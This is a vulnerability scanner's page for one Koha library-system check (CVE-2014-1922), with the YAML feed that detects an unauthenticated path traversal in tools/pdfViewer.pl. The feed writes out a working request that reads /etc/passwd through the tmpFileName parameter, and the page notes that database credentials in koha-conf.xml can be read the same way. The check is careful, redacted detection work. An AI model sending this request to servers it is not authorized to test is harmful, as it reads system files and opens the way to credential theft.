Koha — 1 vulnerability check

noctis ships 1 vulnerability check for Koha, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Koha ILS tools/pdfViewer.pl Absolute Path Traversal

CVECVE-2014-1922
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/koha/CVE-2014-1922.yaml

Tests the Koha integrated library system staff interface for the unauthenticated arbitrary file read in tools/pdfViewer.pl (Koha bug 11660), fixed in Koha 3.8.23, 3.10.13, 3.12.10 and 3.14.3 by removing the script. The feed requests /cgi-bin/koha/tools/pdfViewer.pl with the tmpFileName parameter set to the absolute path /etc/passwd; the content of /etc/passwd in the reply confirms the file read. A control request for an absent random file through the same parameter must not return any passwd line, so a server that serves the same content on every request is not reported. Only the world-readable /etc/passwd is read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET /cgi-bin/koha/tools/pdfViewer.pl?tmpFileName=/etc/passwd
  2. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET /cgi-bin/koha/tools/pdfViewer.pl?tmpFileName=/etc/passwd.noctis-absent-{{oob_token}}
  5. Checks ctrl_r.body for (?m)(?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:
  6. Checks proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: Koha ILS tools/pdfViewer.pl Absolute Path Traversal (CVE-2014-1922)

References:

Feed source — tests/vulnerabilities/koha/CVE-2014-1922.yaml
# Koha ILS tools/pdfViewer.pl absolute path traversal — CVE-2014-1922
#
# Koha before 3.8.23, 3.10.x before 3.10.13, 3.12.x before 3.12.10 and 3.14.x
# before 3.14.3 ships the staff-interface script tools/pdfViewer.pl (Koha bug
# 11660). It runs no authentication check and opens the file named by the
# tmpFileName parameter with a 2-argument Perl open ("<$tmpFileName"), so an
# absolute path reads any file the web server user can read. The fixed releases
# delete the script.
#
# Detection (benign, read-only): GET
#   /cgi-bin/koha/tools/pdfViewer.pl?tmpFileName=/etc/passwd
# (the source NASL's exact request) and match the CONTENT of /etc/passwd.
# QoD 75 (response analysis). The real reply (checked on Apache 2.4 mod_cgi +
# CGI.pm with a reconstruction of the script's print sequence): the script's
# first print is a lone Content-Disposition header block, so CGI.pm's
# "Content-Type: application/pdf" line and the XHTML start_html() wrapper end up
# in the BODY, and the file content starts on the line right after "<body>".
#
# Improvements over the source NASL:
#   - A control request (same parameter, absent random file whose name still
#     contains "etc/passwd") must come back WITHOUT a passwd line; a blanket
#     responder or a honeypot keying a fake passwd on the substring is not
#     reported (fail-closed: no control reply → no finding). On a vulnerable
#     Koha the absent file gives the same 200 page with an empty body.
#   - The NASL needs its Koha product detection first; the feed probes the
#     fixed script path directly, so a staff interface whose login page is
#     customised is still tested.
#   - The account name (unless "root"), password field and gecos of the uid-0
#     line are redacted before they reach the finding.
#
# CVEs: the NASL lists CVE-2014-1922 (pdfViewer.pl file read), CVE-2014-1923
# (help editor / member-picupload.pl file write), CVE-2014-1924 and
# CVE-2014-1925 (MARC framework import/export SQL injection). This request
# proves CVE-2014-1922 only; the file-write and SQL-injection bugs are not
# exercised (writing files on the target is not benign), so the feed does not
# name them. CVSS: CVE-2014-1922 v3.1 7.5 (NVD).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_koha_mult_vulns_02_14.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103904, GPL-2.0-only).
uid: 19cbbd22-d5a4-4cee-a88f-501b11e0ff74
name: "Koha ILS tools/pdfViewer.pl Absolute Path Traversal (CVE-2014-1922)"
description: |
  Tests the Koha integrated library system staff interface for the
  unauthenticated arbitrary file read in tools/pdfViewer.pl (Koha bug 11660),
  fixed in Koha 3.8.23, 3.10.13, 3.12.10 and 3.14.3 by removing the script. The
  feed requests /cgi-bin/koha/tools/pdfViewer.pl with the tmpFileName parameter
  set to the absolute path /etc/passwd; the content of /etc/passwd in the reply
  confirms the file read. A control request for an absent random file through
  the same parameter must not return any passwd line, so a server that serves
  the same content on every request is not reported. Only the world-readable
  /etc/passwd is read. The account name (unless root), password field and
  gecos of the uid-0 line are redacted from the evidence.
cves: [CVE-2014-1922]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [koha, library, ils, path-traversal, file-read, lfi, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-1922"
  - "https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=11660"
  - "https://koha-community.org/koha-3-14-03-released/"
  # OpenVAS/Greenbone NASL 2014/gb_koha_mult_vulns_02_14.nasl (GPL-2.0-only)

steps:
  # ── Pre-initialise every value read later (undefined vars abort/skip) ────
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Read /etc/passwd through tmpFileName ──────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "/cgi-bin/koha/tools/pdfViewer.pl?tmpFileName=/etc/passwd"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        if passwd_m.captures[0] == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: proof

  # ── Control: same parameter, absent random file — must NOT carry a passwd
  # line. The absent name still contains "etc/passwd", so a honeypot that
  # keys a fake file on that substring answers it too.
  - id: control
    action: http_request
    method: GET
    path: "/cgi-bin/koha/tools/pdfViewer.pl?tmpFileName=/etc/passwd.noctis-absent-{{oob_token}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'proof != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?m)(?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:"
    condition: 'proof != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Finding (control answered and stayed clean) ──────────────────────────
  - id: report-passwd
    action: match
    source: proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "Koha ILS tools/pdfViewer.pl Absolute Path Traversal (CVE-2014-1922)"
        description: "An unauthenticated GET to /cgi-bin/koha/tools/pdfViewer.pl with tmpFileName=/etc/passwd returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reads any other file the Koha web server user can read, such as koha-conf.xml with the database credentials."
        remediation: "Upgrade Koha to 3.8.23, 3.10.13, 3.12.10, 3.14.3 or later, which removes tools/pdfViewer.pl, or delete the script from the staff interface, and keep the staff interface off untrusted networks."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET /cgi-bin/koha/tools/pdfViewer.pl?tmpFileName=/etc/passwd returned /etc/passwd; control for an absent file returned no passwd line ({{proof}})"
      stop: true

View these feeds on GitHub